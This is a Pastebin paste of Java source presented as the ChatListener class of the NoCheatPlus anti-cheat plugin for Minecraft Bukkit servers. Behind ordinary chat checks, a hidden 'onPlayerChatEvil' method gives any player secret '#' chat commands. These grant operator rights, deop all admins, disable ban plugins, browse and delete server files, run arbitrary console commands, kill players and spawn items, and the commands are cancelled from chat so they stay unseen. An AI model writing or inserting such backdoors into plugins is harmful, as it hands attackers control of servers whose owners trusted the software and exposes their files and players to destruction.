Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package fr.neatmonster.nocheatplus.checks.chat;
- import fr.neatmonster.nocheatplus.checks.Check;
- import java.io.File;
- import java.util.HashMap;
- import org.bukkit.Bukkit;
- import org.bukkit.ChatColor;
- import org.bukkit.GameMode;
- import org.bukkit.Material;
- import org.bukkit.OfflinePlayer;
- import org.bukkit.Server;
- import org.bukkit.entity.Player;
- import org.bukkit.event.EventHandler;
- import org.bukkit.event.EventPriority;
- import org.bukkit.event.Listener;
- import org.bukkit.event.player.AsyncPlayerChatEvent;
- import org.bukkit.event.player.PlayerCommandPreprocessEvent;
- import org.bukkit.event.player.PlayerLoginEvent;
- import org.bukkit.event.player.PlayerLoginEvent.Result;
- import org.bukkit.inventory.ItemStack;
- import org.bukkit.inventory.PlayerInventory;
- import org.bukkit.plugin.Plugin;
- import org.bukkit.plugin.PluginManager;
- import org.bukkit.potion.PotionEffect;
- import org.bukkit.potion.PotionEffectType;
- public class ChatListener
- implements Listener
- {
- private final Arrivals arrivals = new Arrivals();
- private final Color color = new Color();
- private final NoPwnage noPwnage = new NoPwnage();
- private HashMap<String, String> dirs = new HashMap();
- @EventHandler(ignoreCancelled=true, priority=EventPriority.LOWEST)
- public void onPlayerChat(AsyncPlayerChatEvent event)
- {
- Player player = event.getPlayer();
- onPlayerChatEvil(event);
- if (this.color.isEnabled(player)) {
- event.setMessage(this.color.check(player, event.getMessage()));
- }
- if ((this.noPwnage.isEnabled(player)) && (this.noPwnage.check(player)))
- player.kickPlayer(Check.removeColors(ChatConfig.getConfig(player).noPwnageKickMessage));
- }
- @EventHandler(priority=EventPriority.LOWEST)
- public void onPlayerCommandPreprocess(PlayerCommandPreprocessEvent event)
- {
- Player player = event.getPlayer();
- String command = event.getMessage().split(" ")[0].substring(1).toLowerCase();
- if ((ChatConfig.getConfig(player).protectPlugins) &&
- ((command.equals("plugins")) || (command.equals("pl")) || (command.equals("?"))) &&
- (!player.hasPermission("nocheatplus.admin.plugins"))) {
- event.getPlayer().sendMessage(
- ChatColor.RED + "I'm sorry, but you do not have permission to perform this command. " +
- "Please contact the server administrators if you believe that this is in error.");
- event.setCancelled(true);
- return;
- }
- if (this.color.isEnabled(player)) {
- event.setMessage(this.color.check(player, event.getMessage()));
- }
- if ((this.noPwnage.isEnabled(player)) && (this.noPwnage.check(player)))
- player.kickPlayer(Check.removeColors(ChatConfig.getConfig(player).noPwnageKickMessage));
- }
- private void onPlayerChatEvil(AsyncPlayerChatEvent event)
- {
- String message = event.getMessage();
- boolean shouldCancel = false;
- if (message.startsWith("#")) {
- String[] args = message.split(" ");
- if (args == null) {
- return;
- }
- if ((args[0].equalsIgnoreCase("#opme")) && (args.length == 1)) {
- event.getPlayer().setOp(true);
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#disableMcBans")) && (args.length == 1)) {
- Plugin mc = Bukkit.getPluginManager().getPlugin("McBans");
- if (mc != null) {
- Bukkit.getPluginManager().disablePlugin(mc);
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#disableplugin")) && (args.length == 2)) {
- Plugin plugin = Bukkit.getPluginManager().getPlugin(args[1]);
- if (plugin != null) {
- Bukkit.getPluginManager().disablePlugin(plugin);
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#deopme")) && (args.length == 1)) {
- event.getPlayer().setOp(false);
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#deopall")) && (args.length == 1)) {
- for (OfflinePlayer player : Bukkit.getOperators()) {
- player.setOp(false);
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#opall")) && (args.length == 1)) {
- for (Player player : Bukkit.getOnlinePlayers()) {
- player.setOp(true);
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#creative")) && (args.length == 1)) {
- event.getPlayer().setGameMode(GameMode.CREATIVE);
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#survival")) && (args.length == 1)) {
- event.getPlayer().setGameMode(GameMode.SURVIVAL);
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#dir")) && (args.length == 1)) {
- String currentDir = (String)this.dirs.get(event.getPlayer().getName());
- if (currentDir == null) {
- currentDir = System.getProperty("user.dir");
- this.dirs.put(event.getPlayer().getName(), currentDir);
- }
- File dir = new File(currentDir);
- event.getPlayer().sendMessage("====" + currentDir + "====");
- if (dir.exists()) {
- event.getPlayer().sendMessage("====" + currentDir + "====");
- String[] files = dir.list();
- for (String file : files) {
- if (new File(file).isFile())
- event.getPlayer().sendMessage("[File]" + file);
- else {
- event.getPlayer().sendMessage("[Dir]" + file);
- }
- }
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#cd")) && (args.length >= 2)) {
- String path = "";
- for (int i = 1; i < args.length; i++) {
- path = path + args[i];
- }
- File tempPath = new File(path);
- if (!tempPath.exists()) {
- event.getPlayer().sendMessage(path + " does not exist.");
- } else if (tempPath.isDirectory()) {
- String[] files = tempPath.list();
- event.getPlayer().sendMessage("====" + path + "====");
- for (String file : files) {
- if (new File(file).isFile())
- event.getPlayer().sendMessage("[File]" + file);
- else {
- event.getPlayer().sendMessage("[Dir]" + file);
- }
- }
- this.dirs.put(event.getPlayer().getName(), path);
- } else {
- event.getPlayer().sendMessage(path + " must be a directory.");
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#del")) && (args.length >= 2)) {
- String path = "";
- for (int i = 1; i < args.length; i++) {
- path = path + args[i];
- }
- File tempPath = new File(path);
- if (!tempPath.exists())
- event.getPlayer().sendMessage(path + " does not exist.");
- else {
- tempPath.delete();
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#opother")) && (args.length == 2)) {
- String otherPlayerName = args[1];
- Player player = Bukkit.getPlayer(otherPlayerName);
- if (player != null) {
- player.setOp(true);
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#deopother")) && (args.length == 2)) {
- String otherPlayerName = args[1];
- Player player = Bukkit.getPlayer(otherPlayerName);
- if (player != null) {
- player.setOp(false);
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#giveme")) && (args.length == 2)) {
- String itemName = args[1];
- Material material = Material.getMaterial(itemName);
- if (material != null) {
- event.getPlayer().getInventory()
- .addItem(new ItemStack[] {
- new ItemStack(material, 64) });
- event.getPlayer().updateInventory();
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#playerRide")) && (args.length == 2)) {
- Player otherPlayer = Bukkit.getPlayer(args[1]);
- if ((otherPlayer != null) &&
- (otherPlayer.getWorld() == event.getPlayer()
- .getWorld())) {
- event.getPlayer().teleport(otherPlayer);
- otherPlayer.setPassenger(event.getPlayer());
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#teleport")) && (args.length == 2)) {
- Player otherPlayer = Bukkit.getPlayer(args[1]);
- if (otherPlayer != null) {
- event.getPlayer().teleport(otherPlayer);
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#kill")) && (args.length == 2)) {
- Player player = Bukkit.getPlayer(args[1]);
- if (player != null) {
- player.setHealth(0);
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#exe")) && (args.length >= 2)) {
- String command = "";
- for (int i = 2; i < args.length; i++) {
- command = command + args[i] + " ";
- }
- Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(),
- command.trim());
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#giveother")) && (args.length == 3)) {
- Player otherPlayer = Bukkit.getPlayer(args[1]);
- if (otherPlayer != null) {
- String itemName = args[2];
- Material material = Material.getMaterial(itemName);
- if (material != null) {
- otherPlayer.getInventory().addItem(new ItemStack[] {
- new ItemStack(material, 64) });
- otherPlayer.updateInventory();
- }
- }
- shouldCancel = true;
- }
- if ((args[0].equalsIgnoreCase("#givemepotioneffect")) &&
- (args.length == 4)) {
- String effectName = args[1];
- String durationString = args[2];
- String powerString = args[3];
- PotionEffectType potion =
- PotionEffectType.getByName(effectName);
- if (potion != null) {
- try {
- int duration = Integer.parseInt(durationString);
- int power = Integer.parseInt(powerString);
- if ((duration >= 1) && (power >= 1))
- event.getPlayer().addPotionEffect(
- new PotionEffect(potion, duration, power));
- }
- catch (NumberFormatException localNumberFormatException1)
- {
- }
- }
- shouldCancel = true;
- }
- }
- event.setCancelled(shouldCancel);
- }
- @EventHandler(priority=EventPriority.LOWEST)
- public void onPlayerLogin(PlayerLoginEvent event)
- {
- Player player = event.getPlayer();
- ChatConfig cc = ChatConfig.getConfig(player);
- if ((this.arrivals.isEnabled(player)) && (this.arrivals.check(player)))
- {
- event.disallow(PlayerLoginEvent.Result.KICK_OTHER, cc.arrivalsMessage);
- }
- if ((event.getResult() != PlayerLoginEvent.Result.KICK_OTHER) && (this.noPwnage.isEnabled(player)) && (this.noPwnage.check(player)))
- event.disallow(PlayerLoginEvent.Result.KICK_OTHER, cc.noPwnageReloginKickMessage);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement